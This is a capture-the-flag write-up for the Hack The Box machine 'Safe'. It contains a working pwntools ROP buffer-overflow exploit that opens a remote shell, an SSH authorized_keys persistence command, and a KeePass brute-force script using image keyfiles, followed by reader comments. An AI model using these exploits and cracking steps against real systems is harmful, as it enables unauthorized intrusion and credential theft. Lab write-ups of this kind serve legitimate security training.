Hackthebox – Safe
As with any machine we start with a full port scan.
root@kalivm:~/Safe# nmap -sT -p 1-65535 -oN fullscan_tcp 10.10.10.147
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-01 08:07 CEST
Host is up (0.015s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1337/tcp open waste
# Nmap done: 1 IP address (1 host up) scanned in 21.98 seconds
Apparently ports 22, 80 and 1337 are open. On port 80, a default apache installation page is displayed.
Upon further investigation of the source, a reference is found to the myapp binary which apparently is served on the open port 1337 and can be downloaded on the server’s /myapp location.
When opening the myapp application on port 1337, we are presented with the following text
After researching the downloaded myapp application, I found this CTF101.org page about Return Oriented Programming or ROP. Apparently this is a Buffer Overflow based challenge.
The buffer overflow
In the past, I have only done a Buffer Overflow once before during my OSCP journey and it was on a 32-bit system. This link was about 64-bit so I needed to get a better understanding about Buffer Overflows on 64-bit architecture, I started reading up and watching a number of video’s including ippsec’s bitterman video and this very nice PWNtools ROP video. Also I’ve invested some time in working through various write-ups of the ROP Emporium challenges. So the first step is determine where the actual overflow occurs, how big the buffer is that we need!
root@kalivm:~/Safe# gdb ./myapp
GNU gdb (Debian 8.3-1) 8.3
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./myapp...
(No debugging symbols found in ./myapp)
gdb-peda$ r
Starting program: /root/Safe/myapp
[Detaching after fork from child process 15690]
09:06:23 up 7 days, 15:08, 1 user, load average: 0.17, 0.15, 0.12
What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7eb8504 (<__GI___libc_write+20>: cmp rax,0xfffffffffffff000)
RDX: 0x7ffff7f8b8c0 --> 0x0
RSI: 0x405260 ('A' <repeats 200 times>...)
RDI: 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe158 ('A' <repeats 200 times>...)
RIP: 0x4011ac (<main+77>: ret)
R8 : 0xfffffffffffffff0
R9 : 0x7fffffffe100 ('A' <repeats 200 times>...)
R10: 0x405454 --> 0xa ('\n')
R11: 0x246
R12: 0x401070 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe230 ('A' <repeats 164 times>)
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4011a1 <main+66>: call 0x401030 <puts@plt>
0x4011a6 <main+71>: mov eax,0x0
0x4011ab <main+76>: leave
=> 0x4011ac <main+77>: ret
0x4011ad: nop DWORD PTR [rax]
0x4011b0 <__libc_csu_init>: push r15
0x4011b2 <__libc_csu_init+2>: mov r15,rdx
0x4011b5 <__libc_csu_init+5>: push r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe158 ('A' <repeats 200 times>...)
0008| 0x7fffffffe160 ('A' <repeats 200 times>...)
0016| 0x7fffffffe168 ('A' <repeats 200 times>...)
0024| 0x7fffffffe170 ('A' <repeats 200 times>...)
0032| 0x7fffffffe178 ('A' <repeats 200 times>...)
0040| 0x7fffffffe180 ('A' <repeats 200 times>...)
0048| 0x7fffffffe188 ('A' <repeats 200 times>...)
0056| 0x7fffffffe190 ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004011ac in main ()
Okay, so a buffer of 500 A’s actually crashes the program. Time to determine where it actually crashes by using a pattern. Fortunately this was something I still remembered from my OSCP Journey so that was the easy part!
gdb-peda$ pattern create 500
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A'
gdb-peda$ r
Starting program: /root/Safe/myapp
[Detaching after fork from child process 15644]
09:03:43 up 7 days, 15:05, 1 user, load average: 0.31, 0.17, 0.12
What do you want me to echo back? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7eb8504 (<__GI___libc_write+20>: cmp rax,0xfffffffffffff000)
RDX: 0x7ffff7f8b8c0 --> 0x0
RSI: 0x405260 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
RDI: 0x0
RBP: 0x41414e4141384141 ('AA8AANAA')
RSP: 0x7fffffffe158 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...)
RIP: 0x4011ac (<main+77>: ret)
R8 : 0xfffffffffffffff0
R9 : 0x7fffffffe0e0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
R10: 0x4053f0 --> 0xa ('\n')
R11: 0x246
R12: 0x401070 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe230 ("lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4011a1 <main+66>: call 0x401030 <puts@plt>
0x4011a6 <main+71>: mov eax,0x0
0x4011ab <main+76>: leave
=> 0x4011ac <main+77>: ret
0x4011ad: nop DWORD PTR [rax]
0x4011b0 <__libc_csu_init>: push r15
0x4011b2 <__libc_csu_init+2>: mov r15,rdx
0x4011b5 <__libc_csu_init+5>: push r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe158 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...)
0008| 0x7fffffffe160 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%O"...)
0016| 0x7fffffffe168 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...)
0024| 0x7fffffffe170 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA"...)
0032| 0x7fffffffe178 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%S"...)
0040| 0x7fffffffe180 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%"...)
0048| 0x7fffffffe188 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA"...)
0056| 0x7fffffffe190 ("AuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%W"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004011ac in main ()
So it crashes with value ‘AA8AANAA’ in memory, lets determine where that actually is.
gdb-peda$ x/xg $rsp
0x7fffffffe158: 0x414f41413941416a
gdb-peda$ pattern offset 0x414f41413941416a
4706051884014715242 found at offset: 120
So the exact offset of the stackpointer overflow is at 120! This is something we can work with. After some research about PWNTools and the walk-troughs of ROP Emporium I already had a bit of a skeleton BO app ready.
#!/usr/bin/env python
from pwn import *
# Set up pwntools to work with this binary
elf = ELF('myapp')
# Send the payload
io = process(elf.path)
payload = "A"*120
io.sendline(payload)
io.recvall()
Which causes exactly what we just did in gdb.
root@kalivm:~/Safe# ./pwnROP.py
[*] '/root/Safe/myapp'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/root/Safe/myapp': pid 3811
[+] Receiving all data: Done (226B)
[*] Process '/root/Safe/myapp' stopped with exit code -11 (SIGSEGV) (pid 3811)
The buffer overflow to trigger and the application to die with a SIGSEGV (Segmentation Fault) error. Now after a lot of messing around with this stuff, I appeared not to get any further so I asked for some guidance on a next step. Someone on Discord pointed me in the direction of further analysis of the myapp binary because that should contain all the functions that are required for the ROP chain and Buffer Overflow to work. So I opened it up in Radare and tried to look at the functions present.
root@kalivm:~/Safe# r2 myapp
[0x00401070]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Enable constraint types analysis for variables
[0x00401070]>afl
0x00401000 3 23 sym._init
0x00401030 1 6 sym.imp.puts
0x00401040 1 6 sym.imp.system
0x00401050 1 6 sym.imp.printf
0x00401060 1 6 sym.imp.gets
0x00401070 1 43 entry0
0x004010a0 1 1 sym._dl_relocate_static_pie
0x004010b0 4 33 -> 31 sym.deregister_tm_clones
0x004010e0 4 49 sym.register_tm_clones
0x00401120 3 33 -> 28 sym.__do_global_dtors_aux
0x00401150 1 2 entry.init0
0x00401152 1 10 sym.test
0x0040115f 1 78 sym.main
0x004011b0 3 93 -> 84 sym.__libc_csu_init
0x00401210 1 1 sym.__libc_csu_fini
0x00401214 1 9 sym._fini
The functions within the application itself that could be put there by the developer were the test() and main(). In addition, what was interesting was the presence of a system() call, since normally that would be called from an outside library (libc). The only reason I could think of why it is present here, is because we have to exploit it. After all, HTB is a mix between real-life vulnerabilities and CTF-like ones. Looking at the three functions, some things were confirming this train of thought.
[0x00401070]> pdf @sym.main
;-- main:
/ (fcn) sym.main 78
| sym.main (int argc, char **argv, char **envp);
| ; var int local_70h @ rbp-0x70
| ; DATA XREF from entry0 (0x40108d)
| 0x0040115f 55 push rbp
| 0x00401160 4889e5 mov rbp, rsp
| 0x00401163 4883ec70 sub rsp, 0x70 ; 'p'
| 0x00401167 488d3d9a0e00. lea rdi, qword str.usr_bin_uptime ; 0x402008 ; "/usr/bin/uptime"
| 0x0040116e e8cdfeffff call sym.imp.system ; int system(const char *string)
| 0x00401173 488d3d9e0e00. lea rdi, qword str.What_do_you_want_me_to_echo_back ; 0x402018 ; "\nWhat do you want me to echo back? "
----snip---
The main() function calls the system function to print the results of the /usr/bin/uptime command.
[0x00401070]> pdf @sym.test
/ (fcn) sym.test 10
| sym.test ();
| 0x00401152 55 push rbp
| 0x00401153 4889e5 mov rbp, rsp
| 0x00401156 4889e7 mov rdi, rsp
\ 0x00401159 41ffe5 jmp r13
The test() function however, appears to contain a jmp r13 instruction, a jump to the register of which we already determined to have control over! Since these locations may be useful, we add them to our python script.
#!/usr/bin/env python
from pwn import *
# Set up pwntools to work with this binary
elf = ELF('myapp')
# system() and test() memory locations
system = p64(elf.symbols.plt.system)
test = p64(elf.symbols.test)
# Send the payload
io = process(elf.path)
payload = "A"*120
io.sendline(payload)
io.recvall()
Since we want to write the system() call’s memory location into the R13 register, we have to find a way to tell the system to store the information into the right Registers. This can be done using a pop instruction. Using the ROPgadget tool we can actually locate these instructions and their memory location.
root@kalivm:~/Safe# ROPgadget --binary myapp |grep r13
0x00000000004011ee : mov edi, r13d ; call qword ptr [r12 + rbx*8]
0x0000000000401204 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401206 : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401203 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401205 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
So the gadget that we want to use, is the gadget located at memory location 401206, we add that, and the required values to our python script.
# Gadget pop r13 r14, r15, ret
gadget = p64(0x0000000000401206)
# Send the payload
io = process(elf.path)
payload = "A"*120 # Fill the buffer until the overflow
payload += gadget # The memory location for the pop r13, r14, r15 and Return
payload += system # The memory location of the system() Call, to be stored in R13
payload += p64(0x00) # A null-byte to occupy the R14 register
payload += p64(0x00) # A null-byte to occupy the R15 register
payload += test # Our jmp back to R13, to execute the system() command!
Since immediately after R13, R14 and R15 are filled too, we need to provide values for those to be put there. In the first output of peda we’ve seen them being filled with a null-byte so that might just be enough. Next thing we run it and…
root@kalivm:~/Safe# ./pwnROP.py
[*] '/root/Safe/myapp'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/root/Safe/myapp': pid 2207
[*] Switching to interactive mode
08:26:15 up 9 days, 14:28, 8 users, load average: 3.93, 3.89, 3.94
What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x06\x12@
sh: 1: AAAAAAAA: not found
[*] Got EOF while reading in interactive
Apparently, ‘sh’ gets AAAAAAA pushed, a part of our buffer? Trying it again, but with a pattern buffer, we see the following:
What do you want me to echo back? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA\x06\x12@
sh: 1: AA8AANAA: not found
This is a pattern we’ve seen before, in RBP, so apparently it pushes those 8 bits to the system() Call! That is something we can use!
root@kalivm:~/Safe# cat pwnROP.py
#!/usr/bin/env python
from pwn import *
# Set up pwntools to work with this binary
elf = ELF('myapp')
# system() and test() memory locations
system = p64(elf.symbols.plt.system)
test = p64(elf.symbols.test)
# Gadget pop r13 r14, r15, ret
gadget = p64(0x0000000000401206)
# Send the payload
io = process(elf.path)
payload = "A"*112 + "/bin/sh "
payload += gadget # The memory location for the pop r13, r14, r15 and Return
payload += system # The memory location of the system() Call, to be stored in R13
payload += p64(0x00) # A null-byte to occupy the R14 register
payload += p64(0x00) # A null-byte to occupy the R15 register
payload += test # Our jmp back to R13, to execute the system() command!
io.sendline(payload)
io.interactive()
root@kalivm:~/Safe# ./pwnROP.py
[*] '/root/Safe/myapp'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/root/Safe/myapp': pid 2453
[*] Switching to interactive mode
08:31:03 up 9 days, 14:32, 8 users, load average: 4.13, 3.88, 3.92
What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/bin/sh \x06\x12@
$ uname -a
Linux kalivm 5.2.0-kali2-amd64 #1 SMP Debian 5.2.9-1kali2 (2019-08-20) x86_64 GNU/Linux
After modifying the python code one last time, making the buffer 8 characters shorter and adding “/bin/sh ” to it, we get a local shell! Now all we have to do is modify it once more for connecting to the remote system, the pwnTools documentation has a very nice and simple example of that, so we try it.
#!/usr/bin/env python
from pwn import *
# Set up pwntools to work with this binary
elf = ELF('myapp')
# system() and test() memory locations
system = p64(elf.symbols.plt.system)
test = p64(elf.symbols.test)
# Gadget pop r13 r14, r15, ret
gadget = p64(0x0000000000401206)
# Send the payload
#io = process(elf.path)
io = remote('10.10.10.147', 1337)
payload += gadget # The memory location for the pop r13, r14, r15 and Return
payload += system # The memory location of the system() Call, to be stored in R13
payload += p64(0x00) # A null-byte to occupy the R14 register
payload += p64(0x00) # A null-byte to occupy the R15 register
payload += test # Our jmp back to R13, to execute the system() command!
io.sendline(payload)
io.interactive()
And then run the ROP-based Buffer Overflow on Safe.
root@kalivm:~/Safe# ./pwnROP.py
[*] '/root/Safe/myapp'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] Switching to interactive mode
11:49:27 up 21 min, 1 user, load average: 0.08, 0.03, 0.01
$ uname -a
Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64 GNU/Linux
YES! We’ve got a shell on Safe! Took a lot longer than anticipated for an ‘easy’ machine, but hey, we are there finally! Lets have a look at the machine’s User Flag!
$ cd /home
$ ls
user
$ cd user
$ ls
IMG_0545.JPG
IMG_0546.JPG
IMG_0547.JPG
IMG_0548.JPG
IMG_0552.JPG
IMG_0553.JPG
myapp
MyPasswords.kdbx
user.txt
$ cat user.txt
7a29ee9<NOFLAG>013d4bf01fd127690
So we’ve got the user key!
Privilege escalation
This Buffer OverFlow’ed shell is way too limited for decent privilege escalation so let’s copy an ssh public key to the machine!
$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEeeLMdc3XONPWnLR8ykdfDUTl0TTdeVuEc/ZUt5mjnufpi92vUcN/20DzTGYQMQ3IEdQP+0t0Mx044InuBJDas/3Ys8GASUFE5n7YRKOt9KuPEVu3OYAbCG6TqlMoFaMJAzwXIhZO0q45bf0zDoSOoRcE9sRtVnkEgqyXYRapVBp383xp4tJmSZ5dL4htH0FIjhOZgZh9Tl3ZFPYikqH/zu4K1iNmGSRkRStZQImOoKKpRnInfbjnJAm8r29lhjNGCA5fWc2sg95Q6fDTQlGbVh7yZXw+6reMQZfGB63f4toUh/X+vP6ikz1vJsNoxg67kyIoVDJAbONMdaukxxc+yqxcO0N0km3BaFABKj6XawDMXs3ZDKEeEXqEll/6iHQjPLdWISDmgLoVOcsuOInDRzZXiq10VzEjMrYYF9GrN9LY4jY0IZSGMknxuYsGag0YJq+lYuty4bIEzv438ow7O+FFH77kcIjYJ8LFxY1XHvCDwpsKnx+PM3yKhBFpU0c= root@kalivm" >> .ssh/authorized_keys
By copying the ssh key, we obviously have easier access now and are able to login using SSH.
root@kalivm:~/Safe# ssh -i Safe_SSH_Key user@10.10.10.147
Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Sep 5 11:46:51 2019 from 10.10.16.59
user@safe:~$ ls
IMG_0545.JPG IMG_0546.JPG IMG_0547.JPG IMG_0548.JPG IMG_0552.JPG IMG_0553.JPG myapp MyPasswords.kdbx user.txt
With these files, it became quite obvious that we have to do something with the MyPasswords.kdbx file. However after looking at the HTB forums again, it was mentioned that simply cracking the password would not be enough, but that ‘all you need is right there in the home directory’. Having used Keepass before for a long time, this could imply that one of the files is the additional ‘key’ file for the Keepass database. So I googled for a ‘simple solution’ and found this script for brute-forcing a keepass database with use of kpcli
. Since the database requires a key-file, I altered the script a bit to this.
#!/bin/sh
while read i
do
echo "Using password: \"$i\" and keyfile \"$2\""
echo "$i" | kpcli --kdb=$1 --key=$2 && exit 0
done < $3
And ran it for quite some time until….
root@kalivm:~/userdir# for file in `ls *.JPG`; do ./crackme.sh MyPasswords.kdbx $file /usr/share/wordlists/rockyou.txt ; done
Using password: "123456" and keyfile "IMG_0545.JPG"
Please provide the master password: *************************
Couldn't load the file MyPasswords.kdbx: The database key appears invalid or else the database is corrupt.
Using password: "12345" and keyfile "IMG_0545.JPG"
Please provide the master password: *************************
Couldn't load the file MyPasswords.kdbx: The database key appears invalid or else the database is corrupt.
Using password: "bullshit" and keyfile "IMG_0547.JPG"
Please provide the master password: *************************
KeePass CLI (kpcli) v3.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help ' for details on individual commands.
kpcli:/>
Yes, we’re in with the password ‘bullshit’ and the keyfile IMG_0547.JPG. Lets look around and see what we’ve actually found.
kpcli:/> ls
=== Groups ===
MyPasswords/
kpcli:/> cd MyPasswords/
kpcli:/> ls
=== Groups ===
eMail/
General/
Homebanking/
Internet/
Network/
Recycle Bin/
Windows/
=== Entries ===
0. Root password
kpcli:/MyPasswords> show -f 0
Title: Root password
Uname: root
Pass: u3v2249dl9ptv465cogl3cnpo3fyhk
URL:
Notes:
The root password, could it be that ‘simple’? I guess it is!
user@safe:~$ su - Password: root@safe:~# ls root.txt root@safe:~# cat root.txt d7af235e<NOFLAG>59d2b99a6d1d5453
Hi when I run ‘gdb ./myapp’ I get the error code 126 and permission denied to /root/Desktop/myapp. Any idea why please?
Also when asked what you want echoed back how did you know to put all the A’s?
Basically putting all A’s is just a way to see what’s happening in memory. You see the registers get filled with 0x41 values. It could’ve been all B’s (0x42) just alike, as long as you know what you put there, so you know what to search for. After you’ve done that, you set a specific pattern, just to see where the base offset is in memory (which is where you see AA8AANAA being the response)
okay ive fixed the issue and understand why you put the A’s but a little stuck on where to go from here ive done a info registers so I guess I analyse the assembly language here correct?